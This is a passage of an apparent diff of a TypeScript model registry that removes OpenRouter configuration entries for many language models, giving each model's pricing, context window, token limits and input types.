Model<"openai-completions">, - "anthropic/claude-3.7-sonnet": { - id: "anthropic/claude-3.7-sonnet", - name: "Anthropic: Claude 3.7 Sonnet", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "anthropic/claude-3.7-sonnet:thinking": { - id: "anthropic/claude-3.7-sonnet:thinking", - name: "Anthropic: Claude 3.7 Sonnet (thinking)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "anthropic/claude-haiku-4.5": { - id: "anthropic/claude-haiku-4.5", - name: "Anthropic: Claude Haiku 4.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.09999999999999999, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4": { - id: "anthropic/claude-opus-4", - name: "Anthropic: Claude Opus 4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4.1": { - id: "anthropic/claude-opus-4.1", - name: "Anthropic: Claude Opus 4.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4.5": { - id: "anthropic/claude-opus-4.5", - name: "Anthropic: Claude Opus 4.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4.6": { - id: "anthropic/claude-opus-4.6", - name: "Anthropic: Claude Opus 4.6", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4.6-fast": { - id: "anthropic/claude-opus-4.6-fast", - name: "Anthropic: Claude Opus 4.6 (Fast)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 150, - cacheRead: 3, - cacheWrite: 37.5, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "anthropic/claude-opus-4.7": { - id: "anthropic/claude-opus-4.7", - name: "Anthropic: Claude Opus 4.7", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "anthropic/claude-sonnet-4": { - id: "anthropic/claude-sonnet-4", - name: "Anthropic: Claude Sonnet 4", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "anthropic/claude-sonnet-4.5": { - id: "anthropic/claude-sonnet-4.5", - name: "Anthropic: Claude Sonnet 4.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "anthropic/claude-sonnet-4.6": { - id: "anthropic/claude-sonnet-4.6", - name: "Anthropic: Claude Sonnet 4.6", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "arcee-ai/trinity-large-preview:free": { - id: "arcee-ai/trinity-large-preview:free", - name: "Arcee AI: Trinity Large Preview (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "arcee-ai/trinity-large-thinking": { - id: "arcee-ai/trinity-large-thinking", - name: "Arcee AI: Trinity Large Thinking", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.22, - output: 0.85, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 262144, - } satisfies Model<"openai-completions">, - "arcee-ai/trinity-mini": { - id: "arcee-ai/trinity-mini", - name: "Arcee AI: Trinity Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.045, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "arcee-ai/virtuoso-large": { - id: "arcee-ai/virtuoso-large", - name: "Arcee AI: Virtuoso Large", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.75, - output: 1.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "baidu/ernie-4.5-21b-a3b": { - id: "baidu/ernie-4.5-21b-a3b", - name: "Baidu: ERNIE 4.5 21B A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.07, - output: 0.28, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 120000, - maxTokens: 8000, - } satisfies Model<"openai-completions">, - "baidu/ernie-4.5-vl-28b-a3b": { - id: "baidu/ernie-4.5-vl-28b-a3b", - name: "Baidu: ERNIE 4.5 VL 28B A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.14, - output: 0.56, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 30000, - maxTokens: 8000, - } satisfies Model<"openai-completions">, - "bytedance-seed/seed-1.6": { - id: "bytedance-seed/seed-1.6", - name: "ByteDance Seed: Seed 1.6", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "bytedance-seed/seed-1.6-flash": { - id: "bytedance-seed/seed-1.6-flash", - name: "ByteDance Seed: Seed 1.6 Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "bytedance-seed/seed-2.0-lite": { - id: "bytedance-seed/seed-2.0-lite", - name: "ByteDance Seed: Seed-2.0-Lite", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "bytedance-seed/seed-2.0-mini": { - id: "bytedance-seed/seed-2.0-mini", - name: "ByteDance Seed: Seed-2.0-Mini", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "cohere/command-r-08-2024": { - id: "cohere/command-r-08-2024", - name: "Cohere: Command R (08-2024)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"openai-completions">, - "cohere/command-r-plus-08-2024": { - id: "cohere/command-r-plus-08-2024", - name: "Cohere: Command R+ (08-2024)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2.5, - output: 10, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4000, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-chat": { - id: "deepseek/deepseek-chat", - name: "DeepSeek: DeepSeek V3", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.32, - output: 0.8899999999999999, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 163840, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-chat-v3-0324": { - id: "deepseek/deepseek-chat-v3-0324", - name: "DeepSeek: DeepSeek V3 0324", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 0.77, - cacheRead: 0.135, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-chat-v3.1": { - id: "deepseek/deepseek-chat-v3.1", - name: "DeepSeek: DeepSeek V3.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.15, - output: 0.75, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 7168, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-r1": { - id: "deepseek/deepseek-r1", - name: "DeepSeek: R1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.7, - output: 2.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 64000, - maxTokens: 16000, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-r1-0528": { - id: "deepseek/deepseek-r1-0528", - name: "DeepSeek: R1 0528", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.5, - output: 2.1500000000000004, - cacheRead: 0.35, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-v3.1-terminus": { - id: "deepseek/deepseek-v3.1-terminus", - name: "DeepSeek: DeepSeek V3.1 Terminus", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.21, - output: 0.7899999999999999, - cacheRead: 0.1300000002, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-v3.2": { - id: "deepseek/deepseek-v3.2", - name: "DeepSeek: DeepSeek V3.2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.25899999999999995, - output: 0.42, - cacheRead: 0.135, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 163840, - } satisfies Model<"openai-completions">, - "deepseek/deepseek-v3.2-exp": { - id: "deepseek/deepseek-v3.2-exp", - name: "DeepSeek: DeepSeek V3.2 Exp", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.27, - output: 0.41, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "essentialai/rnj-1-instruct": { - id: "essentialai/rnj-1-instruct", - name: "EssentialAI: Rnj 1 Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "google/gemini-2.0-flash-001": { - id: "google/gemini-2.0-flash-001", - name: "Google: Gemini 2.0 Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.024999999999999998, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "google/gemini-2.0-flash-lite-001": { - id: "google/gemini-2.0-flash-lite-001", - name: "Google: Gemini 2.0 Flash Lite", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.075, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-flash": { - id: "google/gemini-2.5-flash", - name: "Google: Gemini 2.5 Flash", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0.03, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-flash-lite": { - id: "google/gemini-2.5-flash-lite", - name: "Google: Gemini 2.5 Flash Lite", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.01, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-flash-lite-preview-09-2025": { - id: "google/gemini-2.5-flash-lite-preview-09-2025", - name: "Google: Gemini 2.5 Flash Lite Preview 09-2025", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.39999999999999997, - cacheRead: 0.01, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-pro": { - id: "google/gemini-2.5-pro", - name: "Google: Gemini 2.5 Pro", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0.375, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-pro-preview": { - id: "google/gemini-2.5-pro-preview", - name: "Google: Gemini 2.5 Pro Preview 06-05", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0.375, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemini-2.5-pro-preview-05-06": { - id: "google/gemini-2.5-pro-preview-05-06", - name: "Google: Gemini 2.5 Pro Preview 05-06", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0.375, - }, - contextWindow: 1048576, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "google/gemini-3-flash-preview": { - id: "google/gemini-3-flash-preview", - name: "Google: Gemini 3 Flash Preview", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.049999999999999996, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemini-3.1-flash-lite-preview": { - id: "google/gemini-3.1-flash-lite-preview", - name: "Google: Gemini 3.1 Flash Lite Preview", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.5, - cacheRead: 0.024999999999999998, - cacheWrite: 0.08333333333333334, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemini-3.1-pro-preview": { - id: "google/gemini-3.1-pro-preview", - name: "Google: Gemini 3.1 Pro Preview", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.19999999999999998, - cacheWrite: 0.375, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemini-3.1-pro-preview-customtools": { - id: "google/gemini-3.1-pro-preview-customtools", - name: "Google: Gemini 3.1 Pro Preview Custom Tools", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.19999999999999998, - cacheWrite: 0.375, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "google/gemma-4-26b-a4b-it": { - id: "google/gemma-4-26b-a4b-it", - name: "Google: Gemma 4 26B A4B ", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.08, - output: 0.35, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "google/gemma-4-26b-a4b-it:free": { - id: "google/gemma-4-26b-a4b-it:free", - name: "Google: Gemma 4 26B A4B (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "google/gemma-4-31b-it": { - id: "google/gemma-4-31b-it", - name: "Google: Gemma 4 31B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.13, - output: 0.38, - cacheRead: 0.019999999499999997, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "google/gemma-4-31b-it:free": { - id: "google/gemma-4-31b-it:free", - name: "Google: Gemma 4 31B (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "inception/mercury-2": { - id: "inception/mercury-2", - name: "Inception: Mercury 2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.25, - output: 0.75, - cacheRead: 0.024999999999999998, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 50000, - } satisfies Model<"openai-completions">, - "kwaipilot/kat-coder-pro-v2": { - id: "kwaipilot/kat-coder-pro-v2", - name: "Kwaipilot: KAT-Coder-Pro V2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 80000, - } satisfies Model<"openai-completions">, - "meta-llama/llama-3-8b-instruct": { - id: "meta-llama/llama-3-8b-instruct", - name: "Meta: Llama 3 8B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.03, - output: 0.04, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "meta-llama/llama-3.1-70b-instruct": { - id: "meta-llama/llama-3.1-70b-instruct", - name: "Meta: Llama 3.1 70B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "meta-llama/llama-3.1-8b-instruct": { - id: "meta-llama/llama-3.1-8b-instruct", - name: "Meta: Llama 3.1 8B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.02, - output: 0.049999999999999996, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 16384, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "meta-llama/llama-3.3-70b-instruct": { - id: "meta-llama/llama-3.3-70b-instruct", - name: "Meta: Llama 3.3 70B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.12, - output: 0.38, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "meta-llama/llama-3.3-70b-instruct:free": { - id: "meta-llama/llama-3.3-70b-instruct:free", - name: "Meta: Llama 3.3 70B Instruct (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 65536, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "meta-llama/llama-4-scout": { - id: "meta-llama/llama-4-scout", - name: "Meta: Llama 4 Scout", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.08, - output: 0.3, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 327680, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "minimax/minimax-m1": { - id: "minimax/minimax-m1", - name: "MiniMax: MiniMax M1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 2.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 40000, - } satisfies Model<"openai-completions">, - "minimax/minimax-m2": { - id: "minimax/minimax-m2", - name: "MiniMax: MiniMax M2", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.255, - output: 1, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 196608, - } satisfies Model<"openai-completions">, - "minimax/minimax-m2.1": { - id: "minimax/minimax-m2.1", - name: "MiniMax: MiniMax M2.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.29, - output: 0.95, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 196608, - } satisfies Model<"openai-completions">, - "minimax/minimax-m2.5": { - id: "minimax/minimax-m2.5", - name: "MiniMax: MiniMax M2.5", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.118, - output: 0.9900000000000001, - cacheRead: 0.059, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "minimax/minimax-m2.5:free": { - id: "minimax/minimax-m2.5:free", - name: "MiniMax: MiniMax M2.5 (free)", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "minimax/minimax-m2.7": { - id: "minimax/minimax-m2.7", - name: "MiniMax: MiniMax M2.7", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.059, - cacheWrite: 0, - }, - contextWindow: 196608, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/codestral-2508": { - id: "mistralai/codestral-2508", - name: "Mistral: Codestral 2508", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.3, - output: 0.8999999999999999, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/devstral-2512": { - id: "mistralai/devstral-2512", - name: "Mistral: Devstral 2 2512", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0.04, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/devstral-medium": { - id: "mistralai/devstral-medium", - name: "Mistral: Devstral Medium", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.39999999999999997, - output: 2, - cacheRead: 0.04, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/devstral-small": { - id: "mistralai/devstral-small", - name: "Mistral: Devstral Small 1.1", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.09999999999999999, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/ministral-14b-2512": { - id: "mistralai/ministral-14b-2512", - name: "Mistral: Ministral 3 14B 2512", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.19999999999999998, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/ministral-3b-2512": { - id: "mistralai/ministral-3b-2512", - name: "Mistral: Ministral 3 3B 2512", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.09999999999999999, - output: 0.09999999999999999, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/ministral-8b-2512": { - id: "mistralai/ministral-8b-2512", - name: "Mistral: Ministral 3 8B 2512", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.15, - output: 0.15, - cacheRead: 0.015, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-large": { - id: "mistralai/mistral-large", - name: "Mistral Large", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "mistralai/mistral-large-2407": { - id: "mistralai/mistral-large-2407", - name: "Mistral Large 2407", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - 